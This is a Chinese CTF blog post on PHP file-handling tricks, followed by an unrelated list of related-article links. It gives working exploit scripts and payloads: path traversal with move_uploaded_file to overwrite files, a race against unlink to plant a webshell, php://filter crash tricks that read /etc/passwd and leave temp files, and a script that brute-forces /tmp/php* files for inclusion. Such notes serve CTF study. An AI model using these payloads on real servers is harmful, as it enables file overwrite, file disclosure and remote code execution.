记录一些ctf题目中近期遇到的一些文件操作trick,不定时更新

1.move_uploaded_file

一般用来保存上传的文件,第二个参数一般是最终保存的文件名,针对此函数,若在一定条件下$new_name完全可控,即可以穿越路径,可以对已经存在的文件进行覆盖。

假设正常文件内容如下:

<?php
$filename=$_FILES['file']['name'];
var_dump($filename);
if(file_exists($filename)){
echo "no!";
}else{
echo "yes!";
move_uploaded_file($_FILES['file']['tmp_name'],$filename);
}

exp.py测试:

import requests
files=[('file',('xx/../over.php',"<?php phpinfo();?>"))]
print requests.post(url="http://127.0.0.1/test/move.php",files=files).content

假如此时已经有over.php,这种情况下xx/../over.php来覆盖是无效的,这里$filename获取到的还是over.php

但是此时若代码如下:

<?php
$filename=$_POST['name'];
var_dump($filename);
if(file_exists($filename)){
echo "no!";
}else{
echo "yes!";
move_uploaded_file($_FILES['file']['tmp_name'],$filename);
}

传入的文件名是post传进来的,那么此时xx/../over.php即可达到覆盖的效果。

那么over.php/.能不能进行覆盖呢?结果如下:

exp.py

import requests
files=[('file',('xx/../over.php',"<?php phpinfo();?>"))]
print requests.post(url="http://127.0.0.1/test/move.php",files=files,data={"name":"over.php/."}).content

此时虽然绕过了file_exists()函数,此时判断该文件不存在,但是move保存文件时此时会判断文件存在,因此无法覆盖,所以只能用xx/../over.php来绕过,并且一般正常的上传文件流程里文件名都是通过$_FILES['file']['name']来获取的,基本没有直接$_POST文件名来上传。

2.unlink函数+move_uploaded_file函数

unlink函数用来删除文件,如果我们已经能够上传webshell,但是后面又有unlink,那么此时第一反应肯定是条件竞争

首先当上传的文件名是 xx/. 或者 xx/../xx.php时 unlink时都会将/前面的视作目录,那么肯定会删除失败,

但是move_uoload_file函数能够直接保存该上传的文件,前提当然是文件名是$_POST方式传入的,这两种文件名都能够生成新的文件。

竞争方法:

如果unlink之前存在include($a),并且$a可控,并且allow_url_fopen

$a的值为vps 上的一个 php 脚本,这个脚本只需要 sleep 就行了,比如http://x.x.x.x/sleep.php

sleep.php

<?php
sleep(9999);

然后同时上传文件,并访问文件来getshell

3.include()

①php://filter/string.strip_tags

php7.0的bug

include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell

该方法仅适用于以下php7版本,php5并不存在该崩溃:

• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复

②.convert.quoted-printable-encode

这个崩溃并不适用于include,require等函数,适用于file函数,file_get_contents函数,readfile函数

• php7.0.0-7.0.32

• php7.0.4-7.2.12

• php<=5.6.38的版本

5.6.39-5.6.9以内的版本并不存在这个崩溃

<?php
file_get_contents($_GET[a]); payload:
index.php?a=php://filter/convert.quoted-printable-encode/resource=/etc/passwd

在包含的同时要给此存在文件包含的php文件post一个文件,然后用脚本去爆破这个文件即可。

放一个xctf final的exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*- import requests
import string charset = string.digits + string.letters host = "10.99.99.16"
port = 80
base_url = "http://%s:%d" % (host, port) def brute_force_tmp_files():
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = i + j + k + l + m + n
url = "%s/index.php?function=extract&file=/tmp/php%s" % (base_url, filename) #url根据实际情况改下参数就行
print url
try:
response = requests.get(url)
if 'wwwwwwwwwwwwww' in response.content: #可以利用burp 多线程上传文件
print "[+] Include success!"
return True
except Exception as e:
print e
return False def main():
brute_force_tmp_files() if __name__ == "__main__":
main()

③自包含

也就是自己包含自己,比如index.php?file=index.php,这样也会生成临时文件,但是这样不够稳定,影响服务器性能,推荐前面两种方法。

关于php文件操作的几个小trick的更多相关文章

  1. NSFileManager文件操作的十个小功能

    NSFileManager文件操作的十个小功能 NSFileManager是一个单列类,也是一个文件管理器.可以通过NSFileManager创建文件夹.创建文件.写文件.读文件内容等等基本功能. 下 ...

  2. Python 小程序,对文件操作及其它

    以下是自己写的几个对文件操作的小程序,里面涉及到文件操作,列表(集合,字典)的运用等.比方说,从文件里读取一行数据.分别存放于列表中,再对列表进行操作.如去掉里面的反复项.排序等操作. 常见对文件里行 ...

  3. python笔记2小数据池,深浅copy,文件操作及函数初级

    小数据池就是在内存中已经开辟了一些特定的数据,经一些变量名直接指向这个内存,多个变量间公用一个内存的数据. int: -5 ~ 256 范围之内 str: 满足一定得规则的字符串. 小数据池: 1,节 ...

  4. xutils3 上传文件操作——个人小计

    上传文件注意: 使用KeyValue对象进行添加文件操作 int uid = 2; //普通字段的存储 requestParams.addBodyParameter("uid", ...

  5. 强大的pdf文件操作小工具——PDFtk的小白用法 【转载】

    转载出处https://www.cnblogs.com/basterdaidai/p/6204518.html 前言 作为程序员,大家都知道的,总是会被技术小白问各种跟编程没什么关系的硬件.软件问题. ...

  6. python 小兵(4)之文件操作 小问题

    1.光标不对就用seek 2.文件操作方面注意不要变修改变删除,会爆出文件正在运行不能操作 3.w模式下只有开始打开的时候会清空 4.文件操作的时候用as 后面的参数进行操作,不能用文件名进行操作 5 ...

  7. 野路子出身PowerShell 文件操作实用功能

    本文出处:http://www.cnblogs.com/wy123/p/6129498.html 因工作需要,处理一批文件,本想写C#来处理的,后来想想这个是PowerShell的天职,索性就网上各种 ...

  8. Python学习Day2笔记(集合和文件操作)

    1.集合的使用 列表是有序的可包含重复内容的 集合是无序的不可包含重复内容的 1) 集合关系测试 #列表去重list_1=[1,4,5,6,7,8,9,7,5,4,23,2] #有重复数据 list_ ...

  9. Python基础7:文件操作

    [ 文件操作] 1 对文件操作流程 打开文件,得到文件句柄并赋值给一个变量 通过句柄对文件进行操作 关闭文件 现有文件如下: 昨夜寒蛩不住鸣. 惊回千里梦,已三更. 起来独自绕阶行. 人悄悄,帘外月胧 ...

随机推荐

  1. luogu1156垃圾陷阱题解--背包DP

    题目链接 https://www.luogu.org/problemnew/show/P1156 方法1 分析 将已经爬的高度看作背包容积,最大剩余血量看作价值,\(f[i][j]\)表示吃完第\(i ...

  2. css的一些基础方法

    1.css样式表分别有: 内联样式表 <!DOCTYPE html> <html lang="en"> <head> <meta char ...

  3. mongo批量写入es

    import pymongo import math from elasticsearch import Elasticsearch from elasticsearch import helpers ...

  4. 9种Java单例模式详解(推荐)

    单例模式的特点 一个类只允许产生一个实例化对象. 单例类构造方法私有化,不允许外部创建对象. 单例类向外提供静态方法,调用方法返回内部创建的实例化对象.  懒汉式(线程不安全) 其主要表现在单例类在外 ...

  5. 性能分析之TCP全连接队列占满问题分析及优化过程(转载)

    前言 在对一个挡板系统进行测试时,遇到一个由于TCP全连接队列被占满而影响系统性能的问题,这里记录下如何进行分析及解决的. 理解下TCP建立连接过程与队列 从图中明显可以看出建立 TCP 连接的时候, ...

  6. Java笔记(基础第一篇)

    一.初识java 1.Java是一种可以编写跨平台的.面向对象的程序设计语言. Java开发分成以下3个方向: (1). java SE:主要用于桌面程序的开发.是java EE和java ME的基础 ...

  7. Linux一些常用的命令

    常见命令 cd命令 cd命令用来切换工作目录至dirname, 其中dirName表示法可为绝对路径或相对路径. pwd命令 pwd命令以绝对路径的方式显示用户当前工作目录. ls命令 ls命令用来显 ...

  8. C语言例题

    1.连接两个字符串 将两个字符串连接,不要用stract函数 2.求矩阵外围元素之和 求3行3列矩阵的外围元素之和. 3.求矩阵主对角线和副对角线元素之和 求5行5列矩阵的主对角线和副对角线元素之和. ...

  9. 微雪的stm32学习资料

    http://www.waveshare.net/wiki/Main_Page里面有很多资料 STM32开发软件 目录 编译软件 Keil MDKSTM32CubeMX 下载软件 STM32 ISP ...

  10. Bootstrap-轮播图-No.7

    <!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8&quo ...